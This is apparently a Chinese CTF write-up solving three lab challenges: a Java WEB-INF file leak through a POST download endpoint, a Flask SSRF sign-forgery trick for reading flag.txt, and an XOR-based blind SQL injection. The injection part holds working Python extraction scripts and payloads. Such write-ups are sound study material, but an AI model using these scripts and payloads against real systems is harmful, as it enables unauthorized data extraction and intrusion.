[RoarCTF 2019]Easy Java

题目是一个登陆界面,试了一下admin/admin没反应

image-20240302113439732

点击帮助文档出现一个java语句java.io.FileNotFoundException:{help.docx}

image-20240302113616226

应该就是啥都没有,查看源码他的链接是这样的

image-20240302113731820

没啥思路去看别的师傅的wp,这里涉及到一个WEB-INF/xml的文件泄露,因为这题的环境是java的web应用

参考文章:https://www.cnblogs.com/darkcyan/p/17668377.html

WEB-INF知识

WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

这是一些主要敏感目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件

然后就去下载页面去看这些敏感目录的内容,先去看WEB-INF/web.xml

不过这里的下载页面很奇怪,get请求的时候是下载不了的,改成post就可以了,上面的help文档也是

image-20240302115936170

改成post去看一下文件内容

image-20240302120029103

这是从别的师傅那找来的相关标签的用法

<servlet-class>  这个就是指向我们要注册的servlet 的类地址, 要带包路径

<servlet-mapping> 是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是<servlet-name>,这个要与前面写的servlet一致
另一个是<url-pattern>,配置这个组件的访问路径

<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关

举个例子
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

然后上面的web.xml文件我们看到了flag相关的类,然后有个路径我试着去访问了一下返回500状态码,那就要去找FlagController.class文件了

因为WEB-INF/classes里面包含了所有class文件,所以我们从该目录开始然后通过包名去写路径即可拿到想要的class文件

/Download

POST:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

image-20240302121422866

然后将其中的base64字符串拿去解码即可获得flag

[De1CTF 2019]SSRF Me

题目进去就看到一段很丑陋的源代码,看源码也没有格式化好

image-20240303014938284

直接去让gpt给我美化了一下:

#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

# generate Sign For Action Scan.


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

根据题目的提示flag在./flag.txt里面

审计源码发现param和action是我们可控的参数,在Exec函数里,在通过checkSign()的校验之后,如果cookie中的aciton包含scan就写入文件,如果包含read就读取文件

这里由于waf过滤了gopher和file,就不能通过param直接传参读文件,不过urllib.urlopen()这个方法有两种方法读取本地文件

  • 直接写文件名
  • 利用local_file协议:该协议和file的用法一样,local_file///etc/passwd,但是也被过滤了

所以这里在param填文件名写入文件

image-20240303155134761

然后我们就要再去将action换成read去读取,不过这里生成的sign就需要自己去构造了,因为/geneSign路由默认的action是scan,我们去看一下getSign()函数

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

这里我们不知道secret_key,但是/geneSign默认action为scan,想查看文件又一定要read,所以直接后面加个read生成sign即可

image-20240303160239016

然后我们给param传一个readsign即可,因为知识检测是否有该关键字

image-20240303161016765

[极客大挑战 2019]FinalSQL

这题进去有个登陆页面

image-20240303201649603

一开始以为注入点在登陆的地方,因为直接get请求发送用户名和密码,试了一下发现没有,后才发现上面的12345会给url传递id参数

image-20240303201828243

id传6之后的数字会发生变化,传递数字和字符串时返回的页面不一样

image-20240303201948963

image-20240303202000621

去尝试了一些字符发现被过滤了不想fuzz,去看wp说是^没被过滤,可以用异或来进行盲注,因为题目也有提示说盲注,参考文章:https://www.shawroot.cc/1158.html

payload的大概思路就是

1^(sql语句)
//比如爆库的话可以用改语句ord(substr(database(),1,1)>10),这就是判断数据库第一位的ascii码值是否大于10,ord()函数也可以用ascii()函数代替
//如果页面回显为ERROR!!!,表示正确,因为1^1=0
//如果页面回显为NO! Not this! Click others~~~即id=1时的页面,则错误,因为1^0=1

image-20240303214756062

payload如下:

爆出库名脚本,这里直接按顺序爆下去不写二分法了

import requests
import time
result=""
url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^"
for i in range(5):
for j in range(33,127):
sql="(ord(substr(database(),%d,1))=%d)"%(i,j)
response=requests.get(url=url+sql)
time.sleep(0.02)
#print(response.text)
if "ERROR" in response.text:
result+=chr(j)
print(result)
break

image-20240303222137783

然后得出数据库名为geek,这里延时了一点点,因为不知为什么会有几次漏了一些字符没有

然后改一改代码继续爆表名,参考上面文章可以用该语句先去测试一下表名长度,得出长度为16

1^((select(length(group_concat(TABLE_NAME)))from(information_schema.tables)where(table_schema="geek"))=16)

emmm后来发现不止两个表,我就直接写50个字符来爆了

import requests
import time
result=""
url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^"
for i in range(50):
for j in range(33,127):
sql="(ord(substr((select(group_concat(table_name))from(information_schema.columns)where(table_schema='geek')),%d,1))=%d)"%(i,j)
response=requests.get(url=url+sql)
time.sleep(0.02)
#print(response.text)
if "ERROR" in response.text:
result+=chr(j)
print(result)
break

image-20240303224502079

然后爆出上面四个表名

再去爆一下字段名看看

import requests
import time
result=""
url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^"
name1="F1naI1y"
name2="FnaI1y,"
name3="Fa1y"
name4="Flaaag"
for i in range(50):
for j in range(33,127):
sql="(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s')),%d,1))=%d)"%(name1,i,j)
response=requests.get(url=url+sql)
time.sleep(0.02)
#print(response.text)
if "ERROR" in response.text:
result+=chr(j)
print(result)
break

这个Flaaag里面没有东西,然后去爆name2,出了下面三个字段名

image-20240303225537909

不过到后面连接超时了,不管了不想爆了(),总之在password这个字段

然后去爆password字段的值拿flag,这里用正则匹配来直接获取含有flag的数据来爆节省时间

import requests
import time
result=""
url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^"
name1="F1naI1y"
name2="FnaI1y,"
name3="Fa1y"
name4="Flaaag"
for i in range(5,80):
for j in range(33,127):
sql=f"(ord(substr((select(group_concat(password))from(F1naI1y)where((password)regexp'flag')),{i},1))={j})"
response=requests.get(url=url+sql,timeout=3)
time.sleep(0.02)
#print(response.text)
if "ERROR" in response.text:
result+=chr(j)
print(result)
break

image-20240303234305001